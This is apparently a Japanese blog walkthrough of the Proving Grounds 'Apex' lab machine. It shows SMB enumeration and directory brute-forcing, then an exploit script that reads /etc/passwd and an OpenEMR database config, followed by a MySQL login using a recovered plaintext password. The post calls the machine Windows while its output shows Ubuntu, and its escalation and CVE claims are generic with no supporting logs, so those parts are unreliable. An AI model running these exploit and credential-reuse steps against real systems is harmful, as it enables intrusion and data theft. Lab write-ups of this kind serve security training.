Post

Proving Grounds - Apex (Windows)

Proving Grounds Apex Windows マシン解説。偵察・初期アクセス・権限昇格を解説。

Proving Grounds - Apex (Windows)

概要

項目 内容
OS Windows
難易度 記録なし
攻撃対象 Webアプリケーションおよび公開されているネットワークサービス
主な侵入経路 Web RCE (CVE-2018-17179, CVE-2022-46604)
権限昇格経路 ローカル列挙 → 設定ミスの悪用 → root

認証情報

認証情報なし。

偵察


💡 なぜ有効か このフェーズでは到達可能な攻撃対象領域をマッピングし、悪用が最も成功しやすい箇所を特定します。正確なサービスおよびコンテンツ探索により、闇雲なテストを減らし、標的を絞った後続アクションに繋げます。

初期足がかり


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
smbclient -L //$ip -N
1
2
3
4
5
✅[21:00][CPU:15][MEM:53][TUN0:192.168.45.168][/home/n0z0]
🐉 > smbclient -L //$ip -N

do_connect: Connection to 192.168.155.145 failed (Error NT_STATUS_HOST_UNREACHABLE)
                 

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
smbclient -L //$ip -N
1
2
3
4
5
6
7
8
9
10
11
12
13
❌[0:05][CPU:15][MEM:62][TUN0:192.168.45.168][/home/n0z0]
🐉 > smbclient -L //$ip -N


	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	docs            Disk      Documents
	IPC$            IPC       IPC Service (APEX server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.155.145 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
smbclient //$ip/docs -m SMB3
1
2
3
4
5
6
7
8
9
10
11
12
13
❌[0:28][CPU:22][MEM:54][TUN0:192.168.45.168][/home/n0z0/work/pg/Apex]
🐉 > smbclient //$ip/docs -m SMB3
Password for [WORKGROUP\n0z0]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Apr 10 00:47:12 2021
  ..                                  D        0  Sat Apr 10 00:47:12 2021
  OpenEMR Success Stories.pdf         A   290738  Sat Apr 10 00:47:12 2021
  OpenEMR Features.pdf                A   490355  Sat Apr 10 00:47:12 2021

		16446332 blocks of size 1024. 10834276 blocks available
smb: \> 

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
3
❌[2:02][CPU:dirsearch -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -e php,html,js -r --deep-recursive -R 3 --recursion-status=200-399,401,403 -t 60 --random-agent -u http://$ip/       
[02:02:30] 301 -  324B  - /filemanager  ->  http://192.168.155.145/filemanager/

Screenshot from the apex engagement キャプション:このフェーズで取得したスクリーンショット

Screenshot from the apex engagement キャプション:このフェーズで取得したスクリーンショット

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 49359.py http://192.168.155.145 PHPSESSID=5fkm1892l0n5f9qdubc26j6rbr /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
✅[0:17][CPU:3][MEM:62][TUN0:192.168.45.168][/home/n0z0/work/pg/Apex]
🐉 > python3 49359.py http://192.168.155.145 PHPSESSID=5fkm1892l0n5f9qdubc26j6rbr /etc/passwd 
[*] Copy Clipboard
[*] Paste Clipboard
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
white:x:1000:1000::/home/white:/bin/sh

`0a26cff4419fa699a1ea396478f6146b Screenshot from the apex engagement キャプション:このフェーズで取得したスクリーンショット

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
python3 49359.py http://192.168.155.145/ \
1
2
3
4
5
6
7
✅[1:28][CPU:20][MEM:64][TUN0:192.168.45.168][/home/n0z0/work/pg/Apex]
🐉 > python3 49359.py http://192.168.155.145/ \
  PHPSESSID=olmhm8ujd2ijeh3b8ucs97lfl7 \
  /var/www/openemr/sites/default/sqlconf.php

[*] Copy Clipboard
[*] Paste Clipboard

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
2
3
4
5
6
7
8
9
10
11
12
smb: \> ls
  .                                   D        0  Wed Dec 10 01:28:43 2025
  ..                                  D        0  Wed Dec 10 01:23:57 2025
  sqlconf.php                         N      639  Wed Dec 10 01:28:43 2025
  OpenEMR Success Stories.pdf         A   290738  Sat Apr 10 00:47:12 2021
  OpenEMR Features.pdf                A   490355  Sat Apr 10 00:47:12 2021

		16446332 blocks of size 1024. 10834252 blocks available
smb: \> get sqlconf.php
getting file \sqlconf.php of size 639 as sqlconf.php (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \> 

攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

1
mysql -h 192.168.155.145 -u openemr -pC78maEQUIEuQ --skip-ssl
1
2
3
4
[1:31][CPU:5][MEM:65][TUN0:192.168.45.168][/home/n0z0]
🐉 > mysql -h 192.168.155.145 -u openemr -pC78maEQUIEuQ --skip-ssl


💡 なぜ有効か 初期足がかりのステップでは、発見した脆弱性を連鎖させてターゲットを実行制御下に置きます。成功した足がかり技法は、コマンド実行またはインタラクティブシェルの取得によって検証されます。

権限昇格


攻撃チェーンを進め、次の仮説を検証するために以下のコマンドを実行します。オープンサービス、悪用可否、認証情報の露出、権限境界などの指標を確認します。コマンドとパラメータはそのまま記録し、追試できる形を維持します。

追加ログなし。

💡 なぜ有効か 権限昇格は、ローカルの設定ミス・安全でないパーミッション・信頼された実行パスを利用します。これらの信頼境界を列挙して悪用することが、rootレベルのアクセスへの最短経路です。

まとめ・学んだこと

  • 本番同等の環境でフレームワークのデバッグモードとエラー露出を検証する。
  • 特権ユーザーやスケジューラーが実行するスクリプト・バイナリのファイルパーミッションを制限する。
  • ワイルドカード展開やスクリプト化可能な特権ツールを避けるため sudo ポリシーを強化する。
  • 露出した認証情報と環境ファイルを重要機密として扱う。

参考文献

  • CVE-2018-17179: https://nvd.nist.gov/vuln/detail/CVE-2018-17179
  • CVE-2022-46604: https://nvd.nist.gov/vuln/detail/CVE-2022-46604
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.